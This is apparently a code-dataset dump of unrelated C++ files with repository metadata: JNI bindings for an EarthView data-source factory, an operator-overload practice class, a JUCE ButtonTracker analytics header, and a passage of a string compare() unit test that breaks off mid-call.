EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* dsPath_ch = (const ev_char*)__env->GetStringUTFChars(dsPath_j,JNI_FALSE); const EVString dsPath = dsPath_ch; __env->ReleaseStringUTFChars(dsPath_j, (const char *)dsPath_ch); #else const ev_wchar* dsPath_ch = (const ev_wchar*)__env->GetStringChars(dsPath_j,JNI_FALSE); const EVString dsPath = dsPath_ch; __env->ReleaseStringChars(dsPath_j, (const jchar *)dsPath_ch); #endif EarthView::World::Spatial::GeoDataset::IDataSourceFactory::setDefaultDataSourcePath(dsPath); } extern "C" JNIEXPORT jstring JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_getDefaultDataSourcePath_1void(JNIEnv *__env , jclass __clazz) { EVString __values1 = EarthView::World::Spatial::GeoDataset::IDataSourceFactory::getDefaultDataSourcePath(); EarthView::World::Core::ev_wstring valuesw1 = __values1; jstring __values1_j = __env->NewString((const jchar*)valuesw1.getString(), valuesw1.size()); return __values1_j; } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_DataSourceFactoryEnumerator_getSingletonPtr_1void(JNIEnv *__env , jclass __clazz) { EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator* __values1 = EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator::getSingletonPtr(); jlong __values1_j = (jlong) __values1; return __values1_j; } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_DataSourceFactoryEnumerator_getSingleton_1void(JNIEnv *__env , jclass __clazz) { EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator& __values1 = EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator::getSingleton(); jlong __values1_j = (jlong) &__values1; return __values1_j; } extern "C" JNIEXPORT jboolean JNICALL Java_com_earthview_world_spatial_geodataset_DataSourceFactoryEnumerator_existDataSourceFactory_1ev_1int32(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jint typeOfDataSource_j) { ev_int32 typeOfDataSource = (ev_int32) typeOfDataSource_j; EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator *pObjectX = (EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator*) pObjXXXX; ev_bool __values1 = pObjectX->existDataSourceFactory(typeOfDataSource); jboolean __values1_j = (jboolean)__values1; return __values1_j; } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_DataSourceFactoryEnumerator_getDataSourceFactory_1ev_1int32(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jint typeOfDataSource_j) { ev_int32 typeOfDataSource = (ev_int32) typeOfDataSource_j; EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator *pObjectX = (EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator*) pObjXXXX; EarthView::World::Spatial::GeoDataset::IDataSourceFactory* __values1 = pObjectX->getDataSourceFactory(typeOfDataSource); jlong __values1_j = (jlong) __values1; return __values1_j; } extern "C" JNIEXPORT jboolean JNICALL Java_com_earthview_world_spatial_geodataset_DataSourceFactoryEnumerator_addDataSourceFactory_1IDataSourceFactory(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong ref_factory_j) { EarthView::World::Spatial::GeoDataset::IDataSourceFactory *ref_factory = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) ref_factory_j; EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator *pObjectX = (EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator*) pObjXXXX; ev_bool __values1 = pObjectX->addDataSourceFactory(ref_factory); jboolean __values1_j = (jboolean)__values1; return __values1_j; } extern "C" JNIEXPORT jboolean JNICALL Java_com_earthview_world_spatial_geodataset_DataSourceFactoryEnumerator_removeDataSourceFactory_1ev_1int32(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jint typeOfDataSource_j) { ev_int32 typeOfDataSource = (ev_int32) typeOfDataSource_j; EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator *pObjectX = (EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator*) pObjXXXX; ev_bool __values1 = pObjectX->removeDataSourceFactory(typeOfDataSource); jboolean __values1_j = (jboolean)__values1; return __values1_j; } extern "C" JNIEXPORT jboolean JNICALL Java_com_earthview_world_spatial_geodataset_DataSourceFactoryEnumerator_removeDataSourceFactory_1IDataSourceFactory(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong factory_j) { EarthView::World::Spatial::GeoDataset::IDataSourceFactory *factory = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) factory_j; EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator *pObjectX = (EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator*) pObjXXXX; ev_bool __values1 = pObjectX->removeDataSourceFactory(factory); jboolean __values1_j = (jboolean)__values1; return __values1_j; } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_DataSourceFactoryEnumerator_clearDataSourceFactory_1void(JNIEnv *__env , jobject __thiz, jlong pObjXXXX) { EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator *pObjectX = (EarthView::World::Spatial::GeoDataset::CDataSourceFactoryEnumerator*) pObjXXXX; pObjectX->clearDataSourceFactory(); } } } } }
[ "yanguanqi@aliyun.com" ]
yanguanqi@aliyun.com
4083b16c03b6273d9955f1f392536cec83ec3d84
0f368ea09805ce9aae5a435c8f98d09be9c32bf4
/src/OperatorOverride.cpp
101c9a5879ad580890281fccb8100ff2d4fe2e5b
[]
no_license
KerryLiau/Practice_in_Cpp
a6392d53e252f7ea49b91c67d7399c54ba626a93
c0e547c8e6918d12375ddf89c0f4b774fdef5130
refs/heads/master
2023-03-22T12:28:54.423618
2021-03-13T11:40:11
2021-03-13T11:40:11
326,430,823
0
0
null
null
null
null
UTF-8
C++
false
false
666
cpp
// // Created by User on 2021/1/3. // #include <iostream> class TestOperatorOverride { public: static void Run() { std::cout << "============================= " << "Test Operator Override" << " =============================" << std::endl; TestOperatorOverride foo{}; std::cout << "before call foo's operator '()', foo data = " << foo.data << std::endl; foo(); std::cout << "after call foo's operator '()', foo data = " << foo.data << std::endl; } private: int data; TestOperatorOverride() = default; void operator()() { std::cout << "Hello" << std::endl; this->data = 5; } };
[ "ifutheyou@hotmail.com" ]
ifutheyou@hotmail.com
7b5ae8f95e67e1f1b35720f4978ca80cec158f36
26ba18f15532023552cf9523feb84a317b47beb0
/JUCE/modules/juce_analytics/analytics/juce_ButtonTracker.h
cb585e9e5b3e3f6cd4f46fbdfe1e786613540917
[ "MIT", "GPL-1.0-or-later", "GPL-3.0-only", "ISC", "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-proprietary-license" ]
permissive
Ultraschall/ultraschall-soundboard
d3fdaf92061f9eacc65351b7b4bc937311f9e7fc
8a7a538831d8dbf7689b47611d218560762ae869
refs/heads/main
2021-12-14T20:19:24.170519
2021-03-17T22:34:11
2021-03-17T22:34:11
27,304,678
27
3
MIT
2021-02-16T20:49:08
2014-11-29T14:36:19
C++
UTF-8
C++
false
false
2,799
h
/* ============================================================================== This file is part of the JUCE library. Copyright (c) 2020 - Raw Material Software Limited JUCE is an open source library subject to commercial or open-source licensing. By using JUCE, you agree to the terms of both the JUCE 6 End-User License Agreement and JUCE Privacy Policy (both effective as of the 16th June 2020). End User License Agreement: www.juce.com/juce-6-licence Privacy Policy: www.juce.com/juce-privacy-policy Or: You may also use this code under the terms of the GPL v3 (see www.gnu.org/licenses). JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE DISCLAIMED. ============================================================================== */ namespace juce { //============================================================================== /** A class that automatically sends analytics events to the Analytics singleton when a button is clicked. @see Analytics, AnalyticsDestination::AnalyticsEvent @tags{Analytics} */ class JUCE_API ButtonTracker : private Button::Listener { public: //============================================================================== /** Creating one of these automatically sends analytics events to the Analytics singleton when the corresponding button is clicked. The name and parameters of the analytics event will be populated from the variables supplied here. If clicking changes the button's state then the parameters will have a {"ButtonState", "On"/"Off"} entry added. @param buttonToTrack the button to track @param triggeredEventName the name of the generated event @param triggeredEventParameters the parameters to add to the generated event @param triggeredEventType (optional) an integer to indicate the event type, which will be set to 0 if not supplied. @see Analytics, AnalyticsDestination::AnalyticsEvent */ ButtonTracker (Button& buttonToTrack, const String& triggeredEventName, const StringPairArray& triggeredEventParameters = {}, int triggeredEventType = 0); /** Destructor. */ ~ButtonTracker() override; private: /** @internal */ void buttonClicked (Button*) override; Button& button; const String eventName; const StringPairArray eventParameters; const int eventType; JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (ButtonTracker) }; } // namespace juce
[ "daniel@lindenfelser.de" ]
daniel@lindenfelser.de
e2d3a3d9dd287bc4c3fbe3a0700eaabb90cfa19f
6a766f496554c743b0c958ac8b997fb807a5d93d
/test/string/size_size_pointer_size.pass.cpp
85ead043cf5fa143888be8532413388574846cd2
[ "Apache-2.0" ]
permissive
comnik/crossbow
0924eb76ea261d3e9ea0ca760cb70c2032f8f90a
e1c6e43a9e793eb6c6946f8ca3e9b065cc480340
refs/heads/master
2021-01-15T23:27:14.651731
2016-07-19T16:26:37
2016-07-19T16:26:37
62,585,818
0
0
null
2016-07-04T20:14:36
2016-07-04T20:14:36
null
UTF-8
C++
false
false
68,837
cpp
//===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // <string> // int compare(size_type pos, size_type n1, const charT *s, size_type n2) const; #include <string> #include <stdexcept> #include <cassert> #include "min_allocator.h" #include <crossbow/string.hpp> using namespace crossbow; int sign(int x) { if (x == 0) return 0; if (x < 0) return -1; return 1; } template <class S> void test(const S &s, typename S::size_type pos, typename S::size_type n1, const typename S::value_type* str, typename S::size_type n2, int x) { try { assert(sign(s.compare(pos, n1, str, n2)) == sign(x)); assert(pos <= s.size()); } catch (std::out_of_range &) { assert(pos > s.size()); } } template <class S> void test0() { test(S(""), 0, 0, "", 0, 0); test(S(""), 0, 0, "abcde", 0, 0); test(S(""), 0, 0, "abcde", 1, -1); test(S(""), 0, 0, "abcde", 2, -2); test(S(""), 0, 0, "abcde", 4, -4); test(S(""), 0, 0, "abcde", 5, -5); test(S(""), 0, 0, "abcdefghij", 0, 0); test(S(""), 0, 0, "abcdefghij", 1, -1); test(S(""), 0, 0, "abcdefghij", 5, -5); test(S(""), 0, 0, "abcdefghij", 9, -9); test(S(""), 0, 0, "abcdefghij", 10, -10); test(S(""), 0, 0, "abcdefghijklmnopqrst", 0, 0); test(S(""), 0, 0, "abcdefghijklmnopqrst", 1, -1); test(S(""), 0, 0, "abcdefghijklmnopqrst", 10, -10); test(S(""), 0, 0, "abcdefghijklmnopqrst", 19, -19); test(S(""), 0, 0, "abcdefghijklmnopqrst", 20, -20); test(S(""), 0, 1, "", 0, 0); test(S(""), 0, 1, "abcde", 0, 0); test(S(""), 0, 1, "abcde", 1, -1); test(S(""), 0, 1, "abcde", 2, -2); test(S(""), 0, 1, "abcde", 4, -4); test(S(""), 0, 1, "abcde", 5, -5); test(S(""), 0, 1, "abcdefghij", 0, 0); test(S(""), 0, 1, "abcdefghij", 1, -1); test(S(""), 0, 1, "abcdefghij", 5, -5); test(S(""), 0, 1, "abcdefghij", 9, -9); test(S(""), 0, 1, "abcdefghij", 10, -10); test(S(""), 0, 1, "abcdefghijklmnopqrst", 0, 0); test(S(""), 0, 1, "abcdefghijklmnopqrst", 1, -1); test(S(""), 0, 1, "abcdefghijklmnopqrst", 10, -10); test(S(""), 0, 1, "abcdefghijklmnopqrst", 19, -19); test(S(""), 0, 1, "abcdefghijklmnopqrst", 20, -20); test(S(""), 1, 0, "", 0, 0); test(S(""), 1, 0, "abcde", 0, 0); test(S(""), 1, 0, "abcde", 1, 0); test(S(""), 1, 0, "abcde", 2, 0); test(S(""), 1, 0, "abcde", 4, 0); test(S(""), 1, 0, "abcde", 5, 0); test(S(""), 1, 0, "abcdefghij", 0, 0); test(S(""), 1, 0, "abcdefghij", 1, 0); test(S(""), 1, 0, "abcdefghij", 5, 0); test(S(""), 1, 0, "abcdefghij", 9, 0); test(S(""), 1, 0, "abcdefghij", 10, 0); test(S(""), 1, 0, "abcdefghijklmnopqrst", 0, 0); test(S(""), 1, 0, "abcdefghijklmnopqrst", 1, 0); test(S(""), 1, 0, "abcdefghijklmnopqrst", 10, 0); test(S(""), 1, 0, "abcdefghijklmnopqrst", 19, 0); test(S(""), 1, 0, "abcdefghijklmnopqrst", 20, 0); test(S("abcde"), 0, 0, "", 0, 0); test(S("abcde"), 0, 0, "abcde", 0, 0); test(S("abcde"), 0, 0, "abcde", 1, -1); test(S("abcde"), 0, 0, "abcde", 2, -2); test(S("abcde"), 0, 0, "abcde", 4, -4); test(S("abcde"), 0, 0, "abcde", 5, -5); test(S("abcde"), 0, 0, "abcdefghij", 0, 0); test(S("abcde"), 0, 0, "abcdefghij", 1, -1); test(S("abcde"), 0, 0, "abcdefghij", 5, -5); test(S("abcde"), 0, 0, "abcdefghij", 9, -9); test(S("abcde"), 0, 0, "abcdefghij", 10, -10); test(S("abcde"), 0, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcde"), 0, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcde"), 0, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcde"), 0, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcde"), 0, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcde"), 0, 1, "", 0, 1); test(S("abcde"), 0, 1, "abcde", 0, 1); test(S("abcde"), 0, 1, "abcde", 1, 0); test(S("abcde"), 0, 1, "abcde", 2, -1); test(S("abcde"), 0, 1, "abcde", 4, -3); test(S("abcde"), 0, 1, "abcde", 5, -4); test(S("abcde"), 0, 1, "abcdefghij", 0, 1); test(S("abcde"), 0, 1, "abcdefghij", 1, 0); test(S("abcde"), 0, 1, "abcdefghij", 5, -4); test(S("abcde"), 0, 1, "abcdefghij", 9, -8); test(S("abcde"), 0, 1, "abcdefghij", 10, -9); test(S("abcde"), 0, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcde"), 0, 1, "abcdefghijklmnopqrst", 1, 0); test(S("abcde"), 0, 1, "abcdefghijklmnopqrst", 10, -9); test(S("abcde"), 0, 1, "abcdefghijklmnopqrst", 19, -18); test(S("abcde"), 0, 1, "abcdefghijklmnopqrst", 20, -19); test(S("abcde"), 0, 2, "", 0, 2); test(S("abcde"), 0, 2, "abcde", 0, 2); test(S("abcde"), 0, 2, "abcde", 1, 1); test(S("abcde"), 0, 2, "abcde", 2, 0); test(S("abcde"), 0, 2, "abcde", 4, -2); test(S("abcde"), 0, 2, "abcde", 5, -3); test(S("abcde"), 0, 2, "abcdefghij", 0, 2); test(S("abcde"), 0, 2, "abcdefghij", 1, 1); test(S("abcde"), 0, 2, "abcdefghij", 5, -3); test(S("abcde"), 0, 2, "abcdefghij", 9, -7); test(S("abcde"), 0, 2, "abcdefghij", 10, -8); test(S("abcde"), 0, 2, "abcdefghijklmnopqrst", 0, 2); test(S("abcde"), 0, 2, "abcdefghijklmnopqrst", 1, 1); test(S("abcde"), 0, 2, "abcdefghijklmnopqrst", 10, -8); test(S("abcde"), 0, 2, "abcdefghijklmnopqrst", 19, -17); test(S("abcde"), 0, 2, "abcdefghijklmnopqrst", 20, -18); test(S("abcde"), 0, 4, "", 0, 4); test(S("abcde"), 0, 4, "abcde", 0, 4); test(S("abcde"), 0, 4, "abcde", 1, 3); test(S("abcde"), 0, 4, "abcde", 2, 2); } template <class S> void test1() { test(S("abcde"), 0, 4, "abcde", 4, 0); test(S("abcde"), 0, 4, "abcde", 5, -1); test(S("abcde"), 0, 4, "abcdefghij", 0, 4); test(S("abcde"), 0, 4, "abcdefghij", 1, 3); test(S("abcde"), 0, 4, "abcdefghij", 5, -1); test(S("abcde"), 0, 4, "abcdefghij", 9, -5); test(S("abcde"), 0, 4, "abcdefghij", 10, -6); test(S("abcde"), 0, 4, "abcdefghijklmnopqrst", 0, 4); test(S("abcde"), 0, 4, "abcdefghijklmnopqrst", 1, 3); test(S("abcde"), 0, 4, "abcdefghijklmnopqrst", 10, -6); test(S("abcde"), 0, 4, "abcdefghijklmnopqrst", 19, -15); test(S("abcde"), 0, 4, "abcdefghijklmnopqrst", 20, -16); test(S("abcde"), 0, 5, "", 0, 5); test(S("abcde"), 0, 5, "abcde", 0, 5); test(S("abcde"), 0, 5, "abcde", 1, 4); test(S("abcde"), 0, 5, "abcde", 2, 3); test(S("abcde"), 0, 5, "abcde", 4, 1); test(S("abcde"), 0, 5, "abcde", 5, 0); test(S("abcde"), 0, 5, "abcdefghij", 0, 5); test(S("abcde"), 0, 5, "abcdefghij", 1, 4); test(S("abcde"), 0, 5, "abcdefghij", 5, 0); test(S("abcde"), 0, 5, "abcdefghij", 9, -4); test(S("abcde"), 0, 5, "abcdefghij", 10, -5); test(S("abcde"), 0, 5, "abcdefghijklmnopqrst", 0, 5); test(S("abcde"), 0, 5, "abcdefghijklmnopqrst", 1, 4); test(S("abcde"), 0, 5, "abcdefghijklmnopqrst", 10, -5); test(S("abcde"), 0, 5, "abcdefghijklmnopqrst", 19, -14); test(S("abcde"), 0, 5, "abcdefghijklmnopqrst", 20, -15); test(S("abcde"), 0, 6, "", 0, 5); test(S("abcde"), 0, 6, "abcde", 0, 5); test(S("abcde"), 0, 6, "abcde", 1, 4); test(S("abcde"), 0, 6, "abcde", 2, 3); test(S("abcde"), 0, 6, "abcde", 4, 1); test(S("abcde"), 0, 6, "abcde", 5, 0); test(S("abcde"), 0, 6, "abcdefghij", 0, 5); test(S("abcde"), 0, 6, "abcdefghij", 1, 4); test(S("abcde"), 0, 6, "abcdefghij", 5, 0); test(S("abcde"), 0, 6, "abcdefghij", 9, -4); test(S("abcde"), 0, 6, "abcdefghij", 10, -5); test(S("abcde"), 0, 6, "abcdefghijklmnopqrst", 0, 5); test(S("abcde"), 0, 6, "abcdefghijklmnopqrst", 1, 4); test(S("abcde"), 0, 6, "abcdefghijklmnopqrst", 10, -5); test(S("abcde"), 0, 6, "abcdefghijklmnopqrst", 19, -14); test(S("abcde"), 0, 6, "abcdefghijklmnopqrst", 20, -15); test(S("abcde"), 1, 0, "", 0, 0); test(S("abcde"), 1, 0, "abcde", 0, 0); test(S("abcde"), 1, 0, "abcde", 1, -1); test(S("abcde"), 1, 0, "abcde", 2, -2); test(S("abcde"), 1, 0, "abcde", 4, -4); test(S("abcde"), 1, 0, "abcde", 5, -5); test(S("abcde"), 1, 0, "abcdefghij", 0, 0); test(S("abcde"), 1, 0, "abcdefghij", 1, -1); test(S("abcde"), 1, 0, "abcdefghij", 5, -5); test(S("abcde"), 1, 0, "abcdefghij", 9, -9); test(S("abcde"), 1, 0, "abcdefghij", 10, -10); test(S("abcde"), 1, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcde"), 1, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcde"), 1, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcde"), 1, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcde"), 1, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcde"), 1, 1, "", 0, 1); test(S("abcde"), 1, 1, "abcde", 0, 1); test(S("abcde"), 1, 1, "abcde", 1, 1); test(S("abcde"), 1, 1, "abcde", 2, 1); test(S("abcde"), 1, 1, "abcde", 4, 1); test(S("abcde"), 1, 1, "abcde", 5, 1); test(S("abcde"), 1, 1, "abcdefghij", 0, 1); test(S("abcde"), 1, 1, "abcdefghij", 1, 1); test(S("abcde"), 1, 1, "abcdefghij", 5, 1); test(S("abcde"), 1, 1, "abcdefghij", 9, 1); test(S("abcde"), 1, 1, "abcdefghij", 10, 1); test(S("abcde"), 1, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcde"), 1, 1, "abcdefghijklmnopqrst", 1, 1); test(S("abcde"), 1, 1, "abcdefghijklmnopqrst", 10, 1); test(S("abcde"), 1, 1, "abcdefghijklmnopqrst", 19, 1); test(S("abcde"), 1, 1, "abcdefghijklmnopqrst", 20, 1); test(S("abcde"), 1, 2, "", 0, 2); test(S("abcde"), 1, 2, "abcde", 0, 2); test(S("abcde"), 1, 2, "abcde", 1, 1); test(S("abcde"), 1, 2, "abcde", 2, 1); test(S("abcde"), 1, 2, "abcde", 4, 1); test(S("abcde"), 1, 2, "abcde", 5, 1); test(S("abcde"), 1, 2, "abcdefghij", 0, 2); test(S("abcde"), 1, 2, "abcdefghij", 1, 1); test(S("abcde"), 1, 2, "abcdefghij", 5, 1); test(S("abcde"), 1, 2, "abcdefghij", 9, 1); test(S("abcde"), 1, 2, "abcdefghij", 10, 1); test(S("abcde"), 1, 2, "abcdefghijklmnopqrst", 0, 2); test(S("abcde"), 1, 2, "abcdefghijklmnopqrst", 1, 1); test(S("abcde"), 1, 2, "abcdefghijklmnopqrst", 10, 1); test(S("abcde"), 1, 2, "abcdefghijklmnopqrst", 19, 1); test(S("abcde"), 1, 2, "abcdefghijklmnopqrst", 20, 1); test(S("abcde"), 1, 3, "", 0, 3); test(S("abcde"), 1, 3, "abcde", 0, 3); test(S("abcde"), 1, 3, "abcde", 1, 1); test(S("abcde"), 1, 3, "abcde", 2, 1); test(S("abcde"), 1, 3, "abcde", 4, 1); test(S("abcde"), 1, 3, "abcde", 5, 1); test(S("abcde"), 1, 3, "abcdefghij", 0, 3); test(S("abcde"), 1, 3, "abcdefghij", 1, 1); } template <class S> void test2() { test(S("abcde"), 1, 3, "abcdefghij", 5, 1); test(S("abcde"), 1, 3, "abcdefghij", 9, 1); test(S("abcde"), 1, 3, "abcdefghij", 10, 1); test(S("abcde"), 1, 3, "abcdefghijklmnopqrst", 0, 3); test(S("abcde"), 1, 3, "abcdefghijklmnopqrst", 1, 1); test(S("abcde"), 1, 3, "abcdefghijklmnopqrst", 10, 1); test(S("abcde"), 1, 3, "abcdefghijklmnopqrst", 19, 1); test(S("abcde"), 1, 3, "abcdefghijklmnopqrst", 20, 1); test(S("abcde"), 1, 4, "", 0, 4); test(S("abcde"), 1, 4, "abcde", 0, 4); test(S("abcde"), 1, 4, "abcde", 1, 1); test(S("abcde"), 1, 4, "abcde", 2, 1); test(S("abcde"), 1, 4, "abcde", 4, 1); test(S("abcde"), 1, 4, "abcde", 5, 1); test(S("abcde"), 1, 4, "abcdefghij", 0, 4); test(S("abcde"), 1, 4, "abcdefghij", 1, 1); test(S("abcde"), 1, 4, "abcdefghij", 5, 1); test(S("abcde"), 1, 4, "abcdefghij", 9, 1); test(S("abcde"), 1, 4, "abcdefghij", 10, 1); test(S("abcde"), 1, 4, "abcdefghijklmnopqrst", 0, 4); test(S("abcde"), 1, 4, "abcdefghijklmnopqrst", 1, 1); test(S("abcde"), 1, 4, "abcdefghijklmnopqrst", 10, 1); test(S("abcde"), 1, 4, "abcdefghijklmnopqrst", 19, 1); test(S("abcde"), 1, 4, "abcdefghijklmnopqrst", 20, 1); test(S("abcde"), 1, 5, "", 0, 4); test(S("abcde"), 1, 5, "abcde", 0, 4); test(S("abcde"), 1, 5, "abcde", 1, 1); test(S("abcde"), 1, 5, "abcde", 2, 1); test(S("abcde"), 1, 5, "abcde", 4, 1); test(S("abcde"), 1, 5, "abcde", 5, 1); test(S("abcde"), 1, 5, "abcdefghij", 0, 4); test(S("abcde"), 1, 5, "abcdefghij", 1, 1); test(S("abcde"), 1, 5, "abcdefghij", 5, 1); test(S("abcde"), 1, 5, "abcdefghij", 9, 1); test(S("abcde"), 1, 5, "abcdefghij", 10, 1); test(S("abcde"), 1, 5, "abcdefghijklmnopqrst", 0, 4); test(S("abcde"), 1, 5, "abcdefghijklmnopqrst", 1, 1); test(S("abcde"), 1, 5, "abcdefghijklmnopqrst", 10, 1); test(S("abcde"), 1, 5, "abcdefghijklmnopqrst", 19, 1); test(S("abcde"), 1, 5, "abcdefghijklmnopqrst", 20, 1); test(S("abcde"), 2, 0, "", 0, 0); test(S("abcde"), 2, 0, "abcde", 0, 0); test(S("abcde"), 2, 0, "abcde", 1, -1); test(S("abcde"), 2, 0, "abcde", 2, -2); test(S("abcde"), 2, 0, "abcde", 4, -4); test(S("abcde"), 2, 0, "abcde", 5, -5); test(S("abcde"), 2, 0, "abcdefghij", 0, 0); test(S("abcde"), 2, 0, "abcdefghij", 1, -1); test(S("abcde"), 2, 0, "abcdefghij", 5, -5); test(S("abcde"), 2, 0, "abcdefghij", 9, -9); test(S("abcde"), 2, 0, "abcdefghij", 10, -10); test(S("abcde"), 2, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcde"), 2, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcde"), 2, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcde"), 2, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcde"), 2, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcde"), 2, 1, "", 0, 1); test(S("abcde"), 2, 1, "abcde", 0, 1); test(S("abcde"), 2, 1, "abcde", 1, 2); test(S("abcde"), 2, 1, "abcde", 2, 2); test(S("abcde"), 2, 1, "abcde", 4, 2); test(S("abcde"), 2, 1, "abcde", 5, 2); test(S("abcde"), 2, 1, "abcdefghij", 0, 1); test(S("abcde"), 2, 1, "abcdefghij", 1, 2); test(S("abcde"), 2, 1, "abcdefghij", 5, 2); test(S("abcde"), 2, 1, "abcdefghij", 9, 2); test(S("abcde"), 2, 1, "abcdefghij", 10, 2); test(S("abcde"), 2, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcde"), 2, 1, "abcdefghijklmnopqrst", 1, 2); test(S("abcde"), 2, 1, "abcdefghijklmnopqrst", 10, 2); test(S("abcde"), 2, 1, "abcdefghijklmnopqrst", 19, 2); test(S("abcde"), 2, 1, "abcdefghijklmnopqrst", 20, 2); test(S("abcde"), 2, 2, "", 0, 2); test(S("abcde"), 2, 2, "abcde", 0, 2); test(S("abcde"), 2, 2, "abcde", 1, 2); test(S("abcde"), 2, 2, "abcde", 2, 2); test(S("abcde"), 2, 2, "abcde", 4, 2); test(S("abcde"), 2, 2, "abcde", 5, 2); test(S("abcde"), 2, 2, "abcdefghij", 0, 2); test(S("abcde"), 2, 2, "abcdefghij", 1, 2); test(S("abcde"), 2, 2, "abcdefghij", 5, 2); test(S("abcde"), 2, 2, "abcdefghij", 9, 2); test(S("abcde"), 2, 2, "abcdefghij", 10, 2); test(S("abcde"), 2, 2, "abcdefghijklmnopqrst", 0, 2); test(S("abcde"), 2, 2, "abcdefghijklmnopqrst", 1, 2); test(S("abcde"), 2, 2, "abcdefghijklmnopqrst", 10, 2); test(S("abcde"), 2, 2, "abcdefghijklmnopqrst", 19, 2); test(S("abcde"), 2, 2, "abcdefghijklmnopqrst", 20, 2); test(S("abcde"), 2, 3, "", 0, 3); test(S("abcde"), 2, 3, "abcde", 0, 3); test(S("abcde"), 2, 3, "abcde", 1, 2); test(S("abcde"), 2, 3, "abcde", 2, 2); test(S("abcde"), 2, 3, "abcde", 4, 2); test(S("abcde"), 2, 3, "abcde", 5, 2); test(S("abcde"), 2, 3, "abcdefghij", 0, 3); test(S("abcde"), 2, 3, "abcdefghij", 1, 2); test(S("abcde"), 2, 3, "abcdefghij", 5, 2); test(S("abcde"), 2, 3, "abcdefghij", 9, 2); test(S("abcde"), 2, 3, "abcdefghij", 10, 2); test(S("abcde"), 2, 3, "abcdefghijklmnopqrst", 0, 3); } template <class S> void test3() { test(S("abcde"), 2, 3, "abcdefghijklmnopqrst", 1, 2); test(S("abcde"), 2, 3, "abcdefghijklmnopqrst", 10, 2); test(S("abcde"), 2, 3, "abcdefghijklmnopqrst", 19, 2); test(S("abcde"), 2, 3, "abcdefghijklmnopqrst", 20, 2); test(S("abcde"), 2, 4, "", 0, 3); test(S("abcde"), 2, 4, "abcde", 0, 3); test(S("abcde"), 2, 4, "abcde", 1, 2); test(S("abcde"), 2, 4, "abcde", 2, 2); test(S("abcde"), 2, 4, "abcde", 4, 2); test(S("abcde"), 2, 4, "abcde", 5, 2); test(S("abcde"), 2, 4, "abcdefghij", 0, 3); test(S("abcde"), 2, 4, "abcdefghij", 1, 2); test(S("abcde"), 2, 4, "abcdefghij", 5, 2); test(S("abcde"), 2, 4, "abcdefghij", 9, 2); test(S("abcde"), 2, 4, "abcdefghij", 10, 2); test(S("abcde"), 2, 4, "abcdefghijklmnopqrst", 0, 3); test(S("abcde"), 2, 4, "abcdefghijklmnopqrst", 1, 2); test(S("abcde"), 2, 4, "abcdefghijklmnopqrst", 10, 2); test(S("abcde"), 2, 4, "abcdefghijklmnopqrst", 19, 2); test(S("abcde"), 2, 4, "abcdefghijklmnopqrst", 20, 2); test(S("abcde"), 4, 0, "", 0, 0); test(S("abcde"), 4, 0, "abcde", 0, 0); test(S("abcde"), 4, 0, "abcde", 1, -1); test(S("abcde"), 4, 0, "abcde", 2, -2); test(S("abcde"), 4, 0, "abcde", 4, -4); test(S("abcde"), 4, 0, "abcde", 5, -5); test(S("abcde"), 4, 0, "abcdefghij", 0, 0); test(S("abcde"), 4, 0, "abcdefghij", 1, -1); test(S("abcde"), 4, 0, "abcdefghij", 5, -5); test(S("abcde"), 4, 0, "abcdefghij", 9, -9); test(S("abcde"), 4, 0, "abcdefghij", 10, -10); test(S("abcde"), 4, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcde"), 4, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcde"), 4, 0, 